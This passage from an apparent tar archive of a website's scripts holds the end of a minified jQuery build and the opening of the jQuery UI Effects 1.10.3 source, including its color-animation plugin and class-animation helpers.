e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){x.offset.setOffset(this,e,t)});var n,r,o={top:0,left:0},a=this[0],s=a&&a.ownerDocument;if(s)return n=s.documentElement,x.contains(n,a)?(typeof a.getBoundingClientRect!==i&&(o=a.getBoundingClientRect()),r=or(s),{top:o.top+(r.pageYOffset||n.scrollTop)-(n.clientTop||0),left:o.left+(r.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):o},x.offset={setOffset:function(e,t,n){var r=x.css(e,"position");"static"===r&&(e.style.position="relative");var i=x(e),o=i.offset(),a=x.css(e,"top"),s=x.css(e,"left"),l=("absolute"===r||"fixed"===r)&&x.inArray("auto",[a,s])>-1,u={},c={},p,f;l?(c=i.position(),p=c.top,f=c.left):(p=parseFloat(a)||0,f=parseFloat(s)||0),x.isFunction(t)&&(t=t.call(e,n,o)),null!=t.top&&(u.top=t.top-o.top+p),null!=t.left&&(u.left=t.left-o.left+f),"using"in t?t.using.call(e,u):i.css(u)}},x.fn.extend({position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===x.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],"html")||(n=e.offset()),n.top+=x.css(e[0],"borderTopWidth",!0),n.left+=x.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-x.css(r,"marginTop",!0),left:t.left-n.left-x.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||s;while(e&&!x.nodeName(e,"html")&&"static"===x.css(e,"position"))e=e.offsetParent;return e||s})}}),x.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);x.fn[e]=function(i){return x.access(this,function(e,i,o){var a=or(e);return o===t?a?n in a?a[n]:a.document.documentElement[i]:e[i]:(a?a.scrollTo(r?x(a).scrollLeft():o,r?o:x(a).scrollTop()):e[i]=o,t)},e,i,arguments.length,null)}});function or(e){return x.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}x.each({Height:"height",Width:"width"},function(e,n){x.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){x.fn[i]=function(i,o){var a=arguments.length&&(r||"boolean"!=typeof i),s=r||(i===!0||o===!0?"margin":"border");return x.access(this,function(n,r,i){var o;return x.isWindow(n)?n.document.documentElement["client"+e]:9===n.nodeType?(o=n.documentElement,Math.max(n.body["scroll"+e],o["scroll"+e],n.body["offset"+e],o["offset"+e],o["client"+e])):i===t?x.css(n,r,s):x.style(n,r,i,s)},n,a?i:t,a,null)}})}),x.fn.size=function(){return this.length},x.fn.andSelf=x.fn.addBack,"object"==typeof module&&module&&"object"==typeof module.exports?module.exports=x:(e.jQuery=e.$=x,"function"==typeof define&&define.amd&&define("jquery",[],function(){return x}))})(window);
js/jquery.ui.effect.js000060400000076256150710775200010724 0ustar00/*!
 * jQuery UI Effects 1.10.3
 * http://jqueryui.com
 *
 * Copyright 2013 jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/effects-core/
 */
(function($, undefined) {

var dataSpace = "ui-effects-";

$.effects = {
	effect: {}
};

/*!
 * jQuery Color Animations v2.1.2
 * https://github.com/jquery/jquery-color
 *
 * Copyright 2013 jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * Date: Wed Jan 16 08:47:09 2013 -0600
 */
(function( jQuery, undefined ) {

	var stepHooks = "backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",

	// plusequals test for += 100 -= 100
	rplusequals = /^([\-+])=\s*(\d+\.?\d*)/,
	// a set of RE's that can match strings and generate color tuples.
	stringParsers = [{
			re: /rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
			parse: function( execResult ) {
				return [
					execResult[ 1 ],
					execResult[ 2 ],
					execResult[ 3 ],
					execResult[ 4 ]
				];
			}
		}, {
			re: /rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
			parse: function( execResult ) {
				return [
					execResult[ 1 ] * 2.55,
					execResult[ 2 ] * 2.55,
					execResult[ 3 ] * 2.55,
					execResult[ 4 ]
				];
			}
		}, {
			// this regex ignores A-F because it's compared against an already lowercased string
			re: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,
			parse: function( execResult ) {
				return [
					parseInt( execResult[ 1 ], 16 ),
					parseInt( execResult[ 2 ], 16 ),
					parseInt( execResult[ 3 ], 16 )
				];
			}
		}, {
			// this regex ignores A-F because it's compared against an already lowercased string
			re: /#([a-f0-9])([a-f0-9])([a-f0-9])/,
			parse: function( execResult ) {
				return [
					parseInt( execResult[ 1 ] + execResult[ 1 ], 16 ),
					parseInt( execResult[ 2 ] + execResult[ 2 ], 16 ),
					parseInt( execResult[ 3 ] + execResult[ 3 ], 16 )
				];
			}
		}, {
			re: /hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
			space: "hsla",
			parse: function( execResult ) {
				return [
					execResult[ 1 ],
					execResult[ 2 ] / 100,
					execResult[ 3 ] / 100,
					execResult[ 4 ]
				];
			}
		}],

	// jQuery.Color( )
	color = jQuery.Color = function( color, green, blue, alpha ) {
		return new jQuery.Color.fn.parse( color, green, blue, alpha );
	},
	spaces = {
		rgba: {
			props: {
				red: {
					idx: 0,
					type: "byte"
				},
				green: {
					idx: 1,
					type: "byte"
				},
				blue: {
					idx: 2,
					type: "byte"
				}
			}
		},

		hsla: {
			props: {
				hue: {
					idx: 0,
					type: "degrees"
				},
				saturation: {
					idx: 1,
					type: "percent"
				},
				lightness: {
					idx: 2,
					type: "percent"
				}
			}
		}
	},
	propTypes = {
		"byte": {
			floor: true,
			max: 255
		},
		"percent": {
			max: 1
		},
		"degrees": {
			mod: 360,
			floor: true
		}
	},
	support = color.support = {},

	// element for support tests
	supportElem = jQuery( "<p>" )[ 0 ],

	// colors = jQuery.Color.names
	colors,

	// local aliases of functions called often
	each = jQuery.each;

// determine rgba support immediately
supportElem.style.cssText = "background-color:rgba(1,1,1,.5)";
support.rgba = supportElem.style.backgroundColor.indexOf( "rgba" ) > -1;

// define cache name and alpha properties
// for rgba and hsla spaces
each( spaces, function( spaceName, space ) {
	space.cache = "_" + spaceName;
	space.props.alpha = {
		idx: 3,
		type: "percent",
		def: 1
	};
});

function clamp( value, prop, allowEmpty ) {
	var type = propTypes[ prop.type ] || {};

	if ( value == null ) {
		return (allowEmpty || !prop.def) ? null : prop.def;
	}

	// ~~ is an short way of doing floor for positive numbers
	value = type.floor ? ~~value : parseFloat( value );

	// IE will pass in empty strings as value for alpha,
	// which will hit this case
	if ( isNaN( value ) ) {
		return prop.def;
	}

	if ( type.mod ) {
		// we add mod before modding to make sure that negatives values
		// get converted properly: -10 -> 350
		return (value + type.mod) % type.mod;
	}

	// for now all property types without mod have min and max
	return 0 > value ? 0 : type.max < value ? type.max : value;
}

function stringParse( string ) {
	var inst = color(),
		rgba = inst._rgba = [];

	string = string.toLowerCase();

	each( stringParsers, function( i, parser ) {
		var parsed,
			match = parser.re.exec( string ),
			values = match && parser.parse( match ),
			spaceName = parser.space || "rgba";

		if ( values ) {
			parsed = inst[ spaceName ]( values );

			// if this was an rgba parse the assignment might happen twice
			// oh well....
			inst[ spaces[ spaceName ].cache ] = parsed[ spaces[ spaceName ].cache ];
			rgba = inst._rgba = parsed._rgba;

			// exit each( stringParsers ) here because we matched
			return false;
		}
	});

	// Found a stringParser that handled it
	if ( rgba.length ) {

		// if this came from a parsed string, force "transparent" when alpha is 0
		// chrome, (and maybe others) return "transparent" as rgba(0,0,0,0)
		if ( rgba.join() === "0,0,0,0" ) {
			jQuery.extend( rgba, colors.transparent );
		}
		return inst;
	}

	// named colors
	return colors[ string ];
}

color.fn = jQuery.extend( color.prototype, {
	parse: function( red, green, blue, alpha ) {
		if ( red === undefined ) {
			this._rgba = [ null, null, null, null ];
			return this;
		}
		if ( red.jquery || red.nodeType ) {
			red = jQuery( red ).css( green );
			green = undefined;
		}

		var inst = this,
			type = jQuery.type( red ),
			rgba = this._rgba = [];

		// more than 1 argument specified - assume ( red, green, blue, alpha )
		if ( green !== undefined ) {
			red = [ red, green, blue, alpha ];
			type = "array";
		}

		if ( type === "string" ) {
			return this.parse( stringParse( red ) || colors._default );
		}

		if ( type === "array" ) {
			each( spaces.rgba.props, function( key, prop ) {
				rgba[ prop.idx ] = clamp( red[ prop.idx ], prop );
			});
			return this;
		}

		if ( type === "object" ) {
			if ( red instanceof color ) {
				each( spaces, function( spaceName, space ) {
					if ( red[ space.cache ] ) {
						inst[ space.cache ] = red[ space.cache ].slice();
					}
				});
			} else {
				each( spaces, function( spaceName, space ) {
					var cache = space.cache;
					each( space.props, function( key, prop ) {

						// if the cache doesn't exist, and we know how to convert
						if ( !inst[ cache ] && space.to ) {

							// if the value was null, we don't need to copy it
							// if the key was alpha, we don't need to copy it either
							if ( key === "alpha" || red[ key ] == null ) {
								return;
							}
							inst[ cache ] = space.to( inst._rgba );
						}

						// this is the only case where we allow nulls for ALL properties.
						// call clamp with alwaysAllowEmpty
						inst[ cache ][ prop.idx ] = clamp( red[ key ], prop, true );
					});

					// everything defined but alpha?
					if ( inst[ cache ] && jQuery.inArray( null, inst[ cache ].slice( 0, 3 ) ) < 0 ) {
						// use the default of 1
						inst[ cache ][ 3 ] = 1;
						if ( space.from ) {
							inst._rgba = space.from( inst[ cache ] );
						}
					}
				});
			}
			return this;
		}
	},
	is: function( compare ) {
		var is = color( compare ),
			same = true,
			inst = this;

		each( spaces, function( _, space ) {
			var localCache,
				isCache = is[ space.cache ];
			if (isCache) {
				localCache = inst[ space.cache ] || space.to && space.to( inst._rgba ) || [];
				each( space.props, function( _, prop ) {
					if ( isCache[ prop.idx ] != null ) {
						same = ( isCache[ prop.idx ] === localCache[ prop.idx ] );
						return same;
					}
				});
			}
			return same;
		});
		return same;
	},
	_space: function() {
		var used = [],
			inst = this;
		each( spaces, function( spaceName, space ) {
			if ( inst[ space.cache ] ) {
				used.push( spaceName );
			}
		});
		return used.pop();
	},
	transition: function( other, distance ) {
		var end = color( other ),
			spaceName = end._space(),
			space = spaces[ spaceName ],
			startColor = this.alpha() === 0 ? color( "transparent" ) : this,
			start = startColor[ space.cache ] || space.to( startColor._rgba ),
			result = start.slice();

		end = end[ space.cache ];
		each( space.props, function( key, prop ) {
			var index = prop.idx,
				startValue = start[ index ],
				endValue = end[ index ],
				type = propTypes[ prop.type ] || {};

			// if null, don't override start value
			if ( endValue === null ) {
				return;
			}
			// if null - use end
			if ( startValue === null ) {
				result[ index ] = endValue;
			} else {
				if ( type.mod ) {
					if ( endValue - startValue > type.mod / 2 ) {
						startValue += type.mod;
					} else if ( startValue - endValue > type.mod / 2 ) {
						startValue -= type.mod;
					}
				}
				result[ index ] = clamp( ( endValue - startValue ) * distance + startValue, prop );
			}
		});
		return this[ spaceName ]( result );
	},
	blend: function( opaque ) {
		// if we are already opaque - return ourself
		if ( this._rgba[ 3 ] === 1 ) {
			return this;
		}

		var rgb = this._rgba.slice(),
			a = rgb.pop(),
			blend = color( opaque )._rgba;

		return color( jQuery.map( rgb, function( v, i ) {
			return ( 1 - a ) * blend[ i ] + a * v;
		}));
	},
	toRgbaString: function() {
		var prefix = "rgba(",
			rgba = jQuery.map( this._rgba, function( v, i ) {
				return v == null ? ( i > 2 ? 1 : 0 ) : v;
			});

		if ( rgba[ 3 ] === 1 ) {
			rgba.pop();
			prefix = "rgb(";
		}

		return prefix + rgba.join() + ")";
	},
	toHslaString: function() {
		var prefix = "hsla(",
			hsla = jQuery.map( this.hsla(), function( v, i ) {
				if ( v == null ) {
					v = i > 2 ? 1 : 0;
				}

				// catch 1 and 2
				if ( i && i < 3 ) {
					v = Math.round( v * 100 ) + "%";
				}
				return v;
			});

		if ( hsla[ 3 ] === 1 ) {
			hsla.pop();
			prefix = "hsl(";
		}
		return prefix + hsla.join() + ")";
	},
	toHexString: function( includeAlpha ) {
		var rgba = this._rgba.slice(),
			alpha = rgba.pop();

		if ( includeAlpha ) {
			rgba.push( ~~( alpha * 255 ) );
		}

		return "#" + jQuery.map( rgba, function( v ) {

			// default to 0 when nulls exist
			v = ( v || 0 ).toString( 16 );
			return v.length === 1 ? "0" + v : v;
		}).join("");
	},
	toString: function() {
		return this._rgba[ 3 ] === 0 ? "transparent" : this.toRgbaString();
	}
});
color.fn.parse.prototype = color.fn;

// hsla conversions adapted from:
// https://code.google.com/p/maashaack/source/browse/packages/graphics/trunk/src/graphics/colors/HUE2RGB.as?r=5021

function hue2rgb( p, q, h ) {
	h = ( h + 1 ) % 1;
	if ( h * 6 < 1 ) {
		return p + (q - p) * h * 6;
	}
	if ( h * 2 < 1) {
		return q;
	}
	if ( h * 3 < 2 ) {
		return p + (q - p) * ((2/3) - h) * 6;
	}
	return p;
}

spaces.hsla.to = function ( rgba ) {
	if ( rgba[ 0 ] == null || rgba[ 1 ] == null || rgba[ 2 ] == null ) {
		return [ null, null, null, rgba[ 3 ] ];
	}
	var r = rgba[ 0 ] / 255,
		g = rgba[ 1 ] / 255,
		b = rgba[ 2 ] / 255,
		a = rgba[ 3 ],
		max = Math.max( r, g, b ),
		min = Math.min( r, g, b ),
		diff = max - min,
		add = max + min,
		l = add * 0.5,
		h, s;

	if ( min === max ) {
		h = 0;
	} else if ( r === max ) {
		h = ( 60 * ( g - b ) / diff ) + 360;
	} else if ( g === max ) {
		h = ( 60 * ( b - r ) / diff ) + 120;
	} else {
		h = ( 60 * ( r - g ) / diff ) + 240;
	}

	// chroma (diff) == 0 means greyscale which, by definition, saturation = 0%
	// otherwise, saturation is based on the ratio of chroma (diff) to lightness (add)
	if ( diff === 0 ) {
		s = 0;
	} else if ( l <= 0.5 ) {
		s = diff / add;
	} else {
		s = diff / ( 2 - add );
	}
	return [ Math.round(h) % 360, s, l, a == null ? 1 : a ];
};

spaces.hsla.from = function ( hsla ) {
	if ( hsla[ 0 ] == null || hsla[ 1 ] == null || hsla[ 2 ] == null ) {
		return [ null, null, null, hsla[ 3 ] ];
	}
	var h = hsla[ 0 ] / 360,
		s = hsla[ 1 ],
		l = hsla[ 2 ],
		a = hsla[ 3 ],
		q = l <= 0.5 ? l * ( 1 + s ) : l + s - l * s,
		p = 2 * l - q;

	return [
		Math.round( hue2rgb( p, q, h + ( 1 / 3 ) ) * 255 ),
		Math.round( hue2rgb( p, q, h ) * 255 ),
		Math.round( hue2rgb( p, q, h - ( 1 / 3 ) ) * 255 ),
		a
	];
};


each( spaces, function( spaceName, space ) {
	var props = space.props,
		cache = space.cache,
		to = space.to,
		from = space.from;

	// makes rgba() and hsla()
	color.fn[ spaceName ] = function( value ) {

		// generate a cache for this space if it doesn't exist
		if ( to && !this[ cache ] ) {
			this[ cache ] = to( this._rgba );
		}
		if ( value === undefined ) {
			return this[ cache ].slice();
		}

		var ret,
			type = jQuery.type( value ),
			arr = ( type === "array" || type === "object" ) ? value : arguments,
			local = this[ cache ].slice();

		each( props, function( key, prop ) {
			var val = arr[ type === "object" ? key : prop.idx ];
			if ( val == null ) {
				val = local[ prop.idx ];
			}
			local[ prop.idx ] = clamp( val, prop );
		});

		if ( from ) {
			ret = color( from( local ) );
			ret[ cache ] = local;
			return ret;
		} else {
			return color( local );
		}
	};

	// makes red() green() blue() alpha() hue() saturation() lightness()
	each( props, function( key, prop ) {
		// alpha is included in more than one space
		if ( color.fn[ key ] ) {
			return;
		}
		color.fn[ key ] = function( value ) {
			var vtype = jQuery.type( value ),
				fn = ( key === "alpha" ? ( this._hsla ? "hsla" : "rgba" ) : spaceName ),
				local = this[ fn ](),
				cur = local[ prop.idx ],
				match;

			if ( vtype === "undefined" ) {
				return cur;
			}

			if ( vtype === "function" ) {
				value = value.call( this, cur );
				vtype = jQuery.type( value );
			}
			if ( value == null && prop.empty ) {
				return this;
			}
			if ( vtype === "string" ) {
				match = rplusequals.exec( value );
				if ( match ) {
					value = cur + parseFloat( match[ 2 ] ) * ( match[ 1 ] === "+" ? 1 : -1 );
				}
			}
			local[ prop.idx ] = value;
			return this[ fn ]( local );
		};
	});
});

// add cssHook and .fx.step function for each named hook.
// accept a space separated string of properties
color.hook = function( hook ) {
	var hooks = hook.split( " " );
	each( hooks, function( i, hook ) {
		jQuery.cssHooks[ hook ] = {
			set: function( elem, value ) {
				var parsed, curElem,
					backgroundColor = "";

				if ( value !== "transparent" && ( jQuery.type( value ) !== "string" || ( parsed = stringParse( value ) ) ) ) {
					value = color( parsed || value );
					if ( !support.rgba && value._rgba[ 3 ] !== 1 ) {
						curElem = hook === "backgroundColor" ? elem.parentNode : elem;
						while (
							(backgroundColor === "" || backgroundColor === "transparent") &&
							curElem && curElem.style
						) {
							try {
								backgroundColor = jQuery.css( curElem, "backgroundColor" );
								curElem = curElem.parentNode;
							} catch ( e ) {
							}
						}

						value = value.blend( backgroundColor && backgroundColor !== "transparent" ?
							backgroundColor :
							"_default" );
					}

					value = value.toRgbaString();
				}
				try {
					elem.style[ hook ] = value;
				} catch( e ) {
					// wrapped to prevent IE from throwing errors on "invalid" values like 'auto' or 'inherit'
				}
			}
		};
		jQuery.fx.step[ hook ] = function( fx ) {
			if ( !fx.colorInit ) {
				fx.start = color( fx.elem, hook );
				fx.end = color( fx.end );
				fx.colorInit = true;
			}
			jQuery.cssHooks[ hook ].set( fx.elem, fx.start.transition( fx.end, fx.pos ) );
		};
	});

};

color.hook( stepHooks );

jQuery.cssHooks.borderColor = {
	expand: function( value ) {
		var expanded = {};

		each( [ "Top", "Right", "Bottom", "Left" ], function( i, part ) {
			expanded[ "border" + part + "Color" ] = value;
		});
		return expanded;
	}
};

// Basic color names only.
// Usage of any of the other color names requires adding yourself or including
// jquery.color.svg-names.js.
colors = jQuery.Color.names = {
	// 4.1. Basic color keywords
	aqua: "#00ffff",
	black: "#000000",
	blue: "#0000ff",
	fuchsia: "#ff00ff",
	gray: "#808080",
	green: "#008000",
	lime: "#00ff00",
	maroon: "#800000",
	navy: "#000080",
	olive: "#808000",
	purple: "#800080",
	red: "#ff0000",
	silver: "#c0c0c0",
	teal: "#008080",
	white: "#ffffff",
	yellow: "#ffff00",

	// 4.2.3. "transparent" color keyword
	transparent: [ null, null, null, 0 ],

	_default: "#ffffff"
};

})( jQuery );


/******************************************************************************/
/****************************** CLASS ANIMATIONS ******************************/
/******************************************************************************/
(function() {

var classAnimationActions = [ "add", "remove", "toggle" ],
	shorthandStyles = {
		border: 1,
		borderBottom: 1,
		borderColor: 1,
		borderLeft: 1,
		borderRight: 1,
		borderTop: 1,
		borderWidth: 1,
		margin: 1,
		padding: 1
	};

$.each([ "borderLeftStyle", "borderRightStyle", "borderBottomStyle", "borderTopStyle" ], function( _, prop ) {
	$.fx.step[ prop ] = function( fx ) {
		if ( fx.end !== "none" && !fx.setAttr || fx.pos === 1 && !fx.setAttr ) {
			jQuery.style( fx.elem, prop, fx.end );
			fx.setAttr = true;
		}
	};
});

function getElementStyles( elem ) {
	var key, len,
		style = elem.ownerDocument.defaultView ?
			elem.ownerDocument.defaultView.getComputedStyle( elem, null ) :
			elem.currentStyle,
		styles = {};

	if ( style && style.length && style[ 0 ] && style[ style[ 0 ] ] ) {
		len = style.length;
		while ( len-- ) {
			key = style[ len ];
			if ( typeof style[ key ] === "string" ) {
				styles[ $.camelCase( key ) ] = style[ key ];
			}
		}
	// support: Opera, IE <9
	} else {
		for ( key in style ) {
			if ( typeof style[ key ] === "string" ) {
				styles[ key ] = style[ key ];
			}
		}
	}

	return styles;
}


function styleDifference( oldStyle, newStyle ) {
	var diff = {},
		name, value;

	for ( name in newStyle ) {
		value = newStyle[ name ];
		if ( oldStyle[ name ] !== value ) {
			if ( !shorthandStyles[ name ] ) {
				if ( $.fx.step[ name ] || !isNaN( parseFloat( value ) ) ) {
					diff[ name ] = value;
				}
			}
		}
	}

	return diff;
}

// support: jQuery <1.8
if ( !$.fn.addBack ) {
	$.fn.addBack = function( selector ) {
		return this.add( selector == null ?
			this.prevObject : this.prevObject.filter( selector )
		);
	};
}

$.effects.animateClass = function( value, duration, easing, callback ) {
	var o = $.speed( duration, easing, callback );

	return this.queue( function() {
		var animated = $( this ),
			baseClass = animated.attr( "class" ) || "",
			applyClassChange,
			allAnimations = o.children ? animated.find( "*" ).addBack() : animated;

		// map the animated objects to store the original styles.
		allAnimations = allAnimations.map(function() {
			var el = $( this );
			return {
				el: el,
				start: getElementStyles( this )
			};
		});

		// apply class change
		applyClassChange = function() {
			$.each( classAnimationActions, function(i, action) {
				if ( value[ action ] ) {
					animated[ action + "Class" ]( value[ action ] );
				}
			});
		};
		applyClassChange();

		// map all animated objects again - calculate new styles and diff
		allAnimations = allAnimations.map(function() {
			this.end = getElementStyles( this.el[ 0 ] );
			this.diff = styleDifference( this.start, this.end );
			return this;
		});

		// apply original class
		animated.attr( "class", baseClass );

		// map all animated objects again - this time collecting a promise
		allAnimations = allAnimations.map(function() {
			var styleInfo = this,
				dfd = $.Deferred(),
				opts = $.extend({}, o, {
					queue: false,
					complete: function() {
						dfd.resolve( styleInfo );
					}
				});

			this.el.animate( this.diff, opts );
			return dfd.promise();
		});

		// once all animations have completed:
		$.when.apply( $, allAnimations.get() ).done(function() {

			// set the final class
			applyClassChange();

			// for each animated element,
			// clear all css properties that were animated
			$.each( arguments, function() {
				var el = this.el;
				$.each( this.diff, function(key) {
					el.css( key, "" );
				});
			});

			// this is guarnteed to be there if you use jQuery.speed()
			// it also handles dequeuing the next anim...
			o.complete.call( animated[ 0 ] );
		});
	});
};

$.fn.extend({
	addClass: (function( orig ) {
		return function( classNames, speed, easing, callback ) {
			return speed ?
				$.effects.animateClass.call( this,
					{ add: classNames }, speed, easing, callback ) :
				orig.apply( this, arguments );
		};
	})( $.fn.addClass ),

	removeClass: (function( orig ) {
		return function( classNames, speed, easing, callback ) {
			return arguments.length > 1 ?
				$.effects.animateClass.call( this,
					{ remove: classNames }, speed, easing, callback ) :
				orig.apply( this, arguments );
		};
	})( $.fn.removeClass ),

	toggleClass: (function( orig ) {
		return function( classNames, force, speed, easing, callback ) {
			if ( typeof force === "boolean" || force === undefined ) {
				if ( !speed ) {
					// without speed parameter
					return orig.apply( this, arguments );
				} else {
					return $.effects.animateClass.call( this,
						(force ? { add: classNames } : { remove: classNames }),
						speed, easing, callback );
				}
			} else {
				// without force parameter
				return $.effects.animateClass.call( this,
					{ toggle: classNames }, force, speed, easing );
			}
		};
	})( $.fn.toggleClass ),

	switchClass: function( remove, add, speed, easing, callback) {
		return $.effects.animateClass.call( this, {
			add: add,
			remove: remove
		}, speed, easing, callback );
	}
});

})();

/******************************************************************************/
/*********************************** EFFECTS **********************************/
/******************************************************************************/

(function() {

$.extend( $.effects, {
	version: "1.10.3",

	// Saves a set of properties in a data storage
	save: function( element, set ) {
		for( var i=0; i < set.length; i++ ) {
			if ( set[ i ] !== null ) {
				element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] );
			}
		}
	},

	// Restores a set of previously saved properties from a data storage
	restore: function( element, set ) {
		var val, i;
		for( i=0; i < set.length; i++ ) {
			if ( set[ i ] !== null ) {
				val = element.data( dataSpace + set[ i ] );
				// support: jQuery 1.6.2
				// http://bugs.jquery.com/ticket/9917
				// jQuery 1.6.2 incorrectly returns undefined for any falsy value.
				// We can't differentiate between "" and 0 here, so we just assume
				// empty string since it's likely to be a more common value...
				if ( val === undefined ) {
					val = "";
				}
				element.css( set[ i ], val );
			}
		}
	},

	setMode: function( el, mode ) {
		if (mode === "toggle") {
			mode = el.is( ":hidden" ) ? "show" : "hide";
		}
		return mode;
	},

	// Translates a [top,left] array into a baseline value
	// this should be a little more flexible in the future to handle a string & hash
	getBaseline: function( origin, original ) {
		var y, x;
		switch ( origin[ 0 ] ) {
			case "top": y = 0; break;
			case "middle": y = 0.5; break;
			case "bottom": y = 1; break;
			default: y = origin[ 0 ] / original.height;
		}
		switch ( origin[ 1 ] ) {
			case "left": x = 0; break;
			case "center": x = 0.5; break;
			case "right": x = 1; break;
			default: x = origin[ 1 ] / original.width;
		}
		return {
			x: x,
			y: y
		};
	},

	// Wraps the element around a wrapper that copies position properties
	createWrapper: function( element ) {

		// if the element is already wrapped, return it
		if ( element.parent().is( ".ui-effects-wrapper" )) {
			return element.parent();
		}

		// wrap the element
		var props = {
				width: element.outerWidth(true),
				height: element.outerHeight(true),
				"float": element.css( "float" )
			},
			wrapper = $( "<div></div>" )
				.addClass( "ui-effects-wrapper" )
				.css({
					fontSize: "100%",
					background: "transparent",
					border: "none",
					margin: 0,
					padding: 0
				}),
			// Store the size in case width/height are defined in % - Fixes #5245
			size = {
				width: element.width(),
				height: element.height()
			},
			active = document.activeElement;

		// support: Firefox
		// Firefox incorrectly exposes anonymous content
		// https://bugzilla.mozilla.org/show_bug.cgi?id=561664
		try {
			active.id;
		} catch( e ) {
			active = document.body;
		}

		element.wrap( wrapper );

		// Fixes #7595 - Elements lose focus when wrapped.
		if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
			$( active ).focus();
		}

		wrapper = element.parent(); //Hotfix for jQuery 1.4 since some change in wrap() seems to actually lose the reference to the wrapped element

		// transfer positioning properties to the wrapper
		if ( element.css( "position" ) === "static" ) {
			wrapper.css({ position: "relative" });
			element.css({ position: "relative" });
		} else {
			$.extend( props, {
				position: element.css( "position" ),
				zIndex: element.css( "z-index" )
			});
			$.each([ "top", "left", "bottom", "right" ], function(i, pos) {
				props[ pos ] = element.css( pos );
				if ( isNaN( parseInt( props[ pos ], 10 ) ) ) {
					props[ pos ] = "auto";
				}
			});
			element.css({
				position: "relative",
				top: 0,
				left: 0,
				right: "auto",
				bottom: "auto"
			});
		}
		element.css(size);

		return wrapper.css( props ).show();
	},

	removeWrapper: function( element ) {
		var active = document.activeElement;

		if ( element.parent().is( ".ui-effects-wrapper" ) ) {
			element.parent().replaceWith( element );

			// Fixes #7595 - Elements lose focus when wrapped.
			if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
				$( active ).focus();
			}
		}


		return element;
	},

	setTransition: function( element, list, factor, value ) {
		value = value || {};
		$.each( list, function( i, x ) {
			var unit = element.cssUnit( x );
			if ( unit[ 0 ] > 0 ) {
				value[ x ] = unit[ 0 ] * factor + unit[ 1 ];
			}
		});
		return value;
	}
});

// return an effect options object for the given parameters:
function _normalizeArguments( effect, options, speed, callback ) {

	// allow passing all options as the first parameter
	if ( $.isPlainObject( effect ) ) {
		options = effect;
		effect = effect.effect;
	}

	// convert to an object
	effect = { effect: effect };

	// catch (effect, null, ...)
	if ( options == null ) {
		options = {};
	}

	// catch (effect, callback)
	if ( $.isFunction( options ) ) {
		callback = options;
		speed = null;
		options = {};
	}

	// catch (effect, speed, ?)
	if ( typeof options === "number" || $.fx.speeds[ options ] ) {
		callback = speed;
		speed = options;
		options = {};
	}

	// catch (effect, options, callback)
	if ( $.isFunction( speed ) ) {
		callback = speed;
		speed = null;
	}

	// add options to effect
	if ( options ) {
		$.extend( effect, options );
	}

	speed = speed || options.duration;
	effect.duration = $.fx.off ? 0 :
		typeof speed === "number" ? speed :
		speed in $.fx.speeds ? $.fx.speeds[ speed ] :
		$.fx.speeds._default;

	effect.complete = callback || options.complete;

	return effect;
}

function standardAnimationOption( option ) {
	// Valid standard speeds (nothing, number, named speed)
	if ( !option || typeof option === "number" || $.fx.speeds[ option ] ) {
		return true;
	}

	// Invalid strings - treat as "normal" speed
	if ( typeof option === "string" && !$.effects.effect[ option ] ) {
		return true;
	}

	// Complete callback
	if ( $.isFunction( option ) ) {
		return true;
	}

	// Options hash (but not naming an effect)
	if ( typeof option === "object" && !option.effect ) {
		return true;
	}

	// Didn't match any standard API
	return false;
}

$.fn.extend({
	effect: function( /* effect, options, speed, callback */ ) {
		var args = _normalizeArguments.apply( this, arguments ),
			mode = args.mode,
			queue = args.queue,
			effectMethod = $.effects.effect[ args.effect ];

		if ( $.fx.off || !effectMethod ) {
			// delegate to the original method (e.g., .show()) if possible
			if ( mode ) {
				return this[ mode ]( args.duration, args.complete );
			} else {
				return this.each( function() {
					if ( args.complete ) {
						args.complete.call( this );
					}
				});
			}
		}

		function run( next ) {
			var elem = $( this ),
				complete = args.complete,
				mode = args.mode;

			function done() {
				if ( $.isFunction( complete ) ) {
					complete.call( elem[0] );
				}
				if ( $.isFunction( next ) ) {
					next();
				}
			}

			// If the element already has the correct final state, delegate to
			// the core methods so the internal tracking of "olddisplay" works.
			if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) {
				elem[ mode ]();
				done();
			} else {
				effectMethod.call( elem[0], args, done );
			}
		}

		return queue === false ? this.each( run ) : this.queue( queue || "fx", run );
	},

	show: (function( orig ) {
		return function( option ) {
			if ( standardAnimationOption( option ) ) {
				return orig.apply( this, arguments );
			} else {
				var args = _normalizeArguments.apply( this, arguments );
				args.mode = "show";
				return this.effect.call( this, args );
			}
		};
	})( $.fn.show ),

	hide: (function( orig ) {
		return function( option ) {
			if ( standardAnimationOption( option ) ) {
				return orig.apply( this, arguments );
			} else {
				var args = _normalizeArguments.apply( this, arguments );
				args.mode = "hide";
				return this.effect.call( this, args );
			}
		};
	})( $.fn.hide ),

	toggle: (function( orig ) {
		return function( option ) {
